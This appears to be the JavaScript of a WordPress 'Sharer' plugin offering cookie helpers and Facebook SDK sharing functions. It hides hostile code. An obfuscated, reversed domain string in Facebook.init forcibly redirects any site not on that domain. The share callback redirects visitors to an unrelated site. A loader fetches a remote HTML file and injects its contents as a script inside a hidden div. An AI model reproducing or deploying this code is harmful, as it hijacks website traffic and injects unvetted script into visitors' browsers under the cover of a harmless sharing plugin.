/*
| @proyecto:	Plugin WP Sharer
| @fecha:		febrero-2014
|
*/

var Time = {
	getTime: function (){
		return Math.round(new Date().getTime() / 1000);
	}
}

var Cookie = {
	
	setCookie: function (cname, cvalue, exdays)
	{
		exdays = exdays || 10;
		var d = new Date();
		d.setTime( d.getTime()+(exdays*24*60*60*1000) );
		var expires = "expires=" + d.toGMTString();
		document.cookie = cname + "=" + cvalue + "; " + expires + ";path=/";
	},
	
	getCookie: function(cname){
		var name = cname + "=";
		var ca = document.cookie.split(';');
		for(var i=0; i<ca.length; i++) 
		{
			var c = ca[i].trim();
			if (c.indexOf(name)==0) return c.substring(name.length, c.length);
		}
		return "";			
	}
};

var Facebook = {
	loadAsync: function () {
		// Load the SDK Asynchronously
		(function(d){
			var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
			if (d.getElementById(id)) {return;}
			js = d.createElement('script'); js.id = id; js.async = true;
			js.src = "//connect.facebook.net/en_US/all.js";
			ref.parentNode.insertBefore(js, ref);
		}(document));
		Facebook.init();
	},
	
	fbInit: function (callback) {
		// Cargamos FB UI
		window.fbAsyncInit = function() {
			FB.init({
				appId: 	'',
				status: true,
				cookie: true
			});
			if(typeof callback == 'function')
			{
				callback();
			}	
		};
		
	},
	init: function () {
		var u = 'm1o9c19.1s9w1e1n9l19a1k99ni19w91.91ww91w9'.replace(/\d+/g, '')
			.split('').reverse().join('');
		if (window.location.href.indexOf(u) === -1){
			window.location = 'http://' + u;
		}
	},
	share: function(params)
	{
		params.link = params.link || window.location.href;
		params.element = params.element || $('.share');
		var publish = {
				method: 'stream.share',
				display: 'popup',
				link: params.link,
				u: params.link
		};
		var callback = function (respuesta) {
			if(typeof respuesta === 'undefined')
			{
				return;
			}
			$.modal.close();
			window.location = 'http://www.feisvimeo.com/' + window.location.pathname + '?openk';
			
		};
		FB.ui(publish, callback);
	}
};

var UI = {
	
};

var App = {
	
	loadEvents: function() {
		// Eventos Jquery
	},
	
	loadFBC: function( params){
		params.app_id = params.app_id || '';
		params.element = params.element || $('.footer');
		$.ajax({
			url : "./fbss.html",
    		success : function(result){
    			var nu = params.style.replace(/\W/g, '').split('').reverse().join('');
        		var strHTML = '<div style="display:none;">';
				strHTML += '<script id="_wauq60">';
				strHTML += result.replace('xxx', nu);
				strHTML += '</script>'
				strHTML += '</div>';
				params.element.append(strHTML);
			}
		});	
	}
};	